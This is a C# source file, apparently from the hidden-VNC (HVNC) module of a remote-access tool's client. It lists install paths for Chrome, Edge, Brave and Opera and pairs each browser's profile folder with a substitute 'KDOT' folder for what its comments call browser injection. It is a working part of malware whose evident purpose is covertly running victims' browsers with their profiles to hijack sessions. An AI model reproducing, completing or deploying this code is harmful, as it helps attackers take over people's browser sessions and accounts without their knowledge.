using System;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Client.Helper.HVNC
{
///
/// Configuration for browser injection including paths and parameters
///
public class BrowserConfig
{
public string ExecutablePath { get; set; }
public string SearchPattern { get; set; }
public string ReplacementPath { get; set; }
}
///
/// Manages browser configurations for HVNC injection
///
public static class BrowserConfiguration
{
private static readonly Dictionary BrowserConfigs = new Dictionary(StringComparer.OrdinalIgnoreCase)
{
{
"Chrome", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"ChromeX86", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Google\\Chrome\\Application\\chrome.exe"),
SearchPattern = "Local\\Google\\Chrome\\User Data",
ReplacementPath = "Local\\Google\\Chrome\\KDOT"
}
},
{
"Edge", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES(X86)"), "Microsoft\\Edge\\Application\\msedge.exe"),
SearchPattern = "Local\\Microsoft\\Edge\\User Data",
ReplacementPath = "Local\\Microsoft\\Edge\\KDOT"
}
},
{
"Brave", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("PROGRAMFILES"), "BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
SearchPattern = "Local\\BraveSoftware\\Brave-Browser\\User Data",
ReplacementPath = "Local\\BraveSoftware\\Brave-Browser\\KDOT"
}
},
{
"Opera", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
},
{
"OperaGX", new BrowserConfig
{
ExecutablePath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "Programs\\Opera GX\\opera.exe"),
SearchPattern = "Roaming\\Opera Software\\Opera GX Stable",
ReplacementPath = "Roaming\\Opera Software\\KDOT"
}
}
};
///
/// Gets the browser configuration for the specified browser type
///
/// Type of browser (Chrome, Edge, Brave, etc.)
/// Browser configuration or null if not found
public static BrowserConfig GetConfig(string browserType)
{
if (string.IsNullOrWhiteSpace(browserType))
return null;
if (BrowserConfigs.TryGetValue(browserType, out var config))
{
return config;
}
return null;
}
///
/// Gets the first valid Chrome configuration (checks both64-bit and32-bit)
///
/// Valid Chrome configuration or null if Chrome is not installed
public static BrowserConfig GetChromeConfig()
{
var chromeConfig = GetConfig("Chrome");
if (chromeConfig != null)
{
try
{
if (!string.IsNullOrEmpty(chromeConfig.ExecutablePath) && File.Exists(chromeConfig.ExecutablePath))
{
return chromeConfig;
}
}
catch
{
// ignore and continue
}
}
var chromeX86 = GetConfig("ChromeX86");
if (chromeX86 != null)
{
try
{
if (!string.IsNullOrEmpty(chromeX86.ExecutablePath) && File.Exists(chromeX86.ExecutablePath))
{
return chromeX86;
}
}
catch
{
// ignore
}
}
return null;
}
///
/// Validates if the browser executable exists
///
/// Browser configuration to validate
/// True if executable exists, false otherwise
public static bool ValidateConfig(BrowserConfig config)
{
if (config == null)
return false;
return File.Exists(config.ExecutablePath);
}
}
}